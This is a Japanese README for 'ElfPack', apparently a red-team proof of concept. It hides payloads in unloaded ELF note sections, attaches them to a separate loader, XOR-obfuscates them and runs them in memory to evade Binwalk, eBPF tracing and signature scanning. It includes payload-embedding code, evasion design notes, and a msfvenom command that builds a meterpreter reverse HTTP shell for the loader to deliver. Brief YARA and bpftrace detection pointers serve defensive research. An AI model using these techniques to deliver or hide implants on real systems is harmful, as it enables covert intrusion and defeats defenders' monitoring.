ElfPack: ELFバイナリセクションドッキングによるステージレスペイロード配信

ハイライト

• ペイロードバンドリングメカニズムの概要：コンパイル、リンク、ロード。
• バイナリ互換性と、配信メカニズムに対する疎結合ペイロードの作成。
• セクションの自動メモリロードの回避。
• 構造化セクションタイプの使用。
• ELFセクションを介したフィールド内ペイロードの（再）ローダーへのアタッチ。独自のペイロードを持ち込む。
• 分離されたプリコンパイル済みELFセクションによるシグネチャ回避。
• ペイロード生成パイプラインによるローダーへのドライブバイペイロードアタッチメント。
• ファットペイロードバイナリの作成とバイナリパッカー回避のケース。
• 複雑なペイロードのパッキング。
• ペイロードの難読化とキー保護オプション。
• 静的および動的ペイロードロードトレーシング耐性。BinwalkおよびeBPF。

ペイロードの埋め込み

コンパイルとリンクによる16進数バイナリインクルージョン

1. デフォルトのデータセクションまたはテキストに直接： 通常、コンパイラは生成したオブジェクトを .data のようなセクションに配置します。

payload.h:

const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

bin2c や xxd -i payload.bin > payload.h のようなツールを使用して手動で、またはさらにヘッダーインクルードして実現します。

ペイロードを .text や .data に汎用的に格納することも、ロードトレーシングの容易さや、実行のためのデータロードの行動セマンティクスの内省が容易であるため、悪いアイデアです。

2. 別のセクションに。 ペイロードデータを追加のセクションに配置したり、特定の変数を特別なセクションに出現させる必要がある場合があります。これはコンパイラ依存のメカニズムで達成されます。gcc では、__attribute__ を介して行われます。これは少し改善されますが、ELF の作成とロードの方法により、依然としてよくトレース可能です。

char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* スタックポインタの初期化 */
    init_sp (stack + sizeof (stack));

    /* 初期化データの初期化 */
    memcpy (&init_data, &data, &edata - &data);
}

3. リンカバイナリインクルージョン

アセンブラ依存の .incbin 系ディレクティブを使用して、セクションを作成しペイロードを埋め込むことができます。 例：gcc -c payload.s または ld -r -b payload.bin -o payload.o

.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

ローダー内で次のように取得します：

int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

注： payload.bin に完全に機能する ELF を含めることができます。これは、複数のツールキットの要素を含む「ファット」バイナリを作成する際に重要です。

注： このタスクを達成するためのより人間工学的なツールも存在します。例：@graphitemaster の INCBIN [link]

このテーマのバリエーションとして、次のようなインライン ASM があります：

/* すべての埋め込みイメージの生のイメージデータ */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* すべての埋め込みイメージのイメージ構造体 */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

注： セクションの定義における PROGBITS に注意してください。これは重要になります。

コンパイラ/リンカベースのペイロードバイナリインクルージョンは理想的ではありません

トレードオフがあります：

• 埋め込みプロセスはペイロードローダーの作成に密結合しています。
• ペイロード形式の変更はどうするか
• デフォルトでは、データを保持するセクションには PROGBITS フラグが設定されており、OS ローダーによってデフォルトでメモリに PT_LOAD されます。これは望ましくない場合があります。

ELF のディスク/メモリ上のセクション表現

新しいセクションに設定されたセクションのタイプとフラグは、実行可能ファイル起動時に OS ローダーがそれをメモリにロードするかどうかを決定します。一部のセクションはデフォルトで自動ロードされますが、他のセクションはロードされません（例：.symtab, .strtab）。

攻撃側として、そこからどのような効率を得られるでしょうか？

ペイロードの埋め込み：第2版

1. メモリへのデフォルトロードを想定するセクションにフラグを設定しないようにできます。

2. メモリにロードされない別のタイプのセクションを使用できます。

ベンダーやシステムエンジニアは、オブジェクトファイルに特別な情報をマークし、他のプログラムが準拠性や互換性をチェックできるようにする必要があるかもしれません。タイプ SHT_NOTE のセクションとタイプ PT_NOTE のプログラムヘッダー要素がこの目的に使用できます。

後者の場合、システムバイナリでのこのタイプのセクションの使用が見られます：

$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

そしてその内容を検査できます：

$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

SHT_NOTE セクションを作成した最終結果は、ELF 内で次のようになります：

特典：SHT_NOTE は、使用する必要がある場合（さらに使用します）に構造を提供します：

ELF セクションドッキング

これまで、セクションを作成し、OS ローダーによるメモリへのロードを回避することができました。セクションは現在、ELF イメージ内で事実上休止状態です。そのロード方法については後ほど説明します。 しかし、より差し迫った問題は、依然としてコンパイラとリンカのレベルで操作していること、そしてセクションが最終的な ELF の構造に織り込まれるオブジェクトであり、そのコンテンツを参照するローダーコードからメモリアドレスと関係が作成されることです。

ローダーのコンパイルワークフロー外で埋め込まれたペイロードを含む ELF セクションを作成し、後でそのセクションをローダーバイナリにアタッチできたらどうなるでしょうか？

これにより、ローダーコードとセクションとの相互作用の関係が切断されます。その後、ローダーにその「外部」データセクションを見つけてロードする方法を教え、結果的にペイロードをローダーに疎結合で「ドッキング」させます。

概念的には、目標は次のようになります：

• ローダーはペイロードセマンティクスに絡め取られてはならない
• ペイロードのロードと実行：
  • ローダーコードをまったく修正せずに？
  • OS ローダー（ld.so（ELF ローダー））を使用せずに、これはペイロードのセグメントを自動的にメモリにロードします。
• フィールド内ペイロードの（再）アタッチ。

ローダー/ペイロード（セクション内）の関係は次のようになります：

その後、インジェクタを作成できます。これは、コードレベルでどちらも操作せずに（バイナリ互換性のみ、およびローダーが任意のペイロードセクションをロードする方法を認識していること）、ローダーにペイロードセクションを導入します。

このような汎用的な ELF セクションドッキング設定からのいくつかの成果：

1. 静的 ELF ローダーは、ペイロードを一切含まない単体で出荷でき、オンデマンドでセクションをロードし、そこからペイロードをブートストラップするメカニズムのみを持ちます。

2. ペイロードは別途パッケージ化でき、静的なステージとして、または後でインジェクタを使用して、いつでもローダーにバンドルできます。ペイロードは多くの場合暗号化でき、必要な場合は ELF 実行可能ファイル自体でもかまいません。ただし、ローダーがペイロードの構造ではなく、そのパッケージング機能のみを知っている限りです。

3. インジェクタは、複数のバイナリ（休止状態のステージ）からのセクションのアタッチを仲介し、セクションを構築してローダーに注入できます。

4. セクションレベルの構築には、実行可能ファイル内の複数のリソースをパックするよりも利点があります。パッカーの処理やコードに対する検出のオーバーヘッドがありません。メモリ内起動に依存し、パッカーがバイナリをファイルシステムに抽出する必要があるため簡単にパックできない他のツールを使用する場合、複数のセクションを運ぶ点で利点があります。（詳細はファットバイナリセクション参照）

ELF ドッキングコンポーネント：

ELF セクションドッキングコンポーネントについて詳しく説明します。

セクション型 ELF インジェクタ：

配置：後方またはフィールド内 利点：

• ローダーとペイロードの仲介に依存しない
• 合理化されたペイロード生成パイプライン
• 必要な場合にコンパイラなしでフィールド内のローダーへのペイロードアタッチメント

セクション型 ELF ローダー：

配置：フィールド内 利点：

• アタッチされたペイロードに依存しない
• 自身のバイナリを読み取り解析して、完全な ELF またはシェルコード（より多くの可能性）をロードします。
• シェルコードが必要な場合、そこから実行中の ELF を作成できます（例：Metasploit の mettle）。
• トレーシングは mprotect() を認識しません。
• ペイロードが存在する場所と通常の .DATA 配列との間のエアギャップ分離。
• これによりトレーサーに対する抽象化が達成されます。
• ペイロード自体に引数を受け入れ転送する機能。

バイナリペイロード：

利点：

• ペイロードは制約が少なく、データ、セグメント LDD がそのままの完全に機能するプログラムです。
• スペースを気にせずに独自に難読化できます（.NOTE レコードは可変サイズ）。
• FS に抽出するか、目次（ファットペイロードローダー）の一部として実行できます。
• リロケーションが不要で、他のローダーにチェーンできます。
• クロスアタッチメントと検出回避の例：ローダーA がローダーB のペイロードを読み取る。

回避の機会

ELF セクションインジェクタ/パッカーの強化：

• XOR されたペイロード、ただし AES も実装可能。
• XOR キーメタデータは帯域外のウォーターマークに保存。
• XOR キーは開示されない。
• 追加の XOR データ難読化が可能。

ELF ローダーの強化：

• デフォルトで XOR されたペイロード、ただし AES も実装可能。
• XOR キーメタデータは帯域外のウォーターマークからマイニング。
• ローダー起動時間 != ペイロードロード時間の分離（必要に応じて）。
• デーモン化機能（ユーザーランド exec および memfd_create と連携する能力）。
• ペイロードのエントロピー計算およびアンチカービングに対する回避の可能性：Binwalk はデフォルトでペイロードを認識せず、カービングできません。（デモ例：msfvenom ペイロードのパッキング）

ELF セクションドッキングツールキット固有のローダーの議論：

ELF セクションローダーがペイロードランチャーと連携する際のいくつかの言葉：

ローダーは、メモリ内ペイロード実行メカニズムのうち 1 つを利用できます：

• オプション A：SYS_Memfd_create ()

  • libreflect[link] で実現されるが、zombieant プリローダー[link]でも可能。
  • 以下のレベルでより検出可能： j /proc/self/fd/ 内の匿名ファイル
    • sys_memfd_create（syscall #319）を使用
  • fork/exec を行い、execve() の BPF トレーシングが記録します。

• オプション B：ユーザーランド Exec (https://grugq.github.io/docs/ul_exec.txt)

  • 現時点では libreflect で実現。良いインターフェース。
  • ローダーを空洞化し、ペイロードで上書き。
  • sys_enter_exec /sys_exit_exec 呼び出しなし。execve() の BPF トレーシングは捕捉しない。
  • 欠点：ローダー経由でデーモン化できない（ローダーメモリはオーバーレイ時に消える）。 ただし、ペイロード自体は起動時にデーモン化可能： ELF バイナリを出荷する vs シェルコードを出荷する利点です。

ワークフローの実行：

ELF セクションペイロード vs MSF ペイロード後の Binwalk の回避機会：

ELF セクションパッカー vs eBPF 回避：

検出ツール：

YARA 検証およびテスト：

STIX ツール定義：

ELFPack POC のビルド

• Cmake の場合：クリーンビルドの前に cmake --configure . を実行してビルド環境を設定します。現在は CMAke 3.18 をサポートしています。
• ./build.sh

ELFPack の依存関係：

• この POC では、https://github.com/rapid7/mettle から libreflect ライブラリを使用します。
• 自動的にビルドされ、vendor/lib/reflect/libreflect.a の下に配布されますが、必要に応じて元のリポジトリから再ビルドできます。
• ランタイム：BPF および bpftrace を試したい場合は、ディストリビューションに適したカーネルヘッダーをインストールしてください。

使用法

• フロントエンド：run.sh を参照
• バックエンド：この PoC は mettle metasploit インプラントと連携するため、MSF サーバーでトラフィックを受信するには、次のように aux/msfrc RC ファイルを使用します：

msfconsole -r aux/triage/msfrc

• MSF ペイロード（mettle）は次のように生成できます：

msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf

• BPF トレーシングは次のように行えます（root が必要）：

sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt

• Python バインディングを介した YARA 統合の例は、aux/triage/elfpack_yar.py で確認できます。

./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]